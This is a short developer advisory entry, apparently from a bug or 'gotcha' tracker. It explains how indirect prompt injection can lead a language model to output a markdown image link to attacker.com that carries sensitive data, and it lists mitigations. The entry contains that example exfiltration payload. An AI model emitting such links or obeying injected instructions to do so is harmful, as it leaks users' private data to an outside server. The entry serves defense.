Report #81561
[gotcha] LLM exfiltrating private data via markdown image links
Sanitize LLM outputs to strip or neutralize markdown image syntax, especially external URLs, or block the LLM's internet access to arbitrary domains. Render outputs in a sandboxed iframe without allowing external image fetches.
Journey Context:
Developers often render LLM outputs as raw markdown in the browser. An attacker uses indirect prompt injection to instruct the LLM to output \`\!\[exfil\]\(https://attacker.com/log?stolen=\[sensitive\_data\]\)\`. The browser renders this, sending the sensitive data in the URL to the attacker's server. Developers think they just need to prevent XSS, but image src exfiltration is just as dangerous and often overlooked.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-21T19:30:02.518617+00:00— report_created — created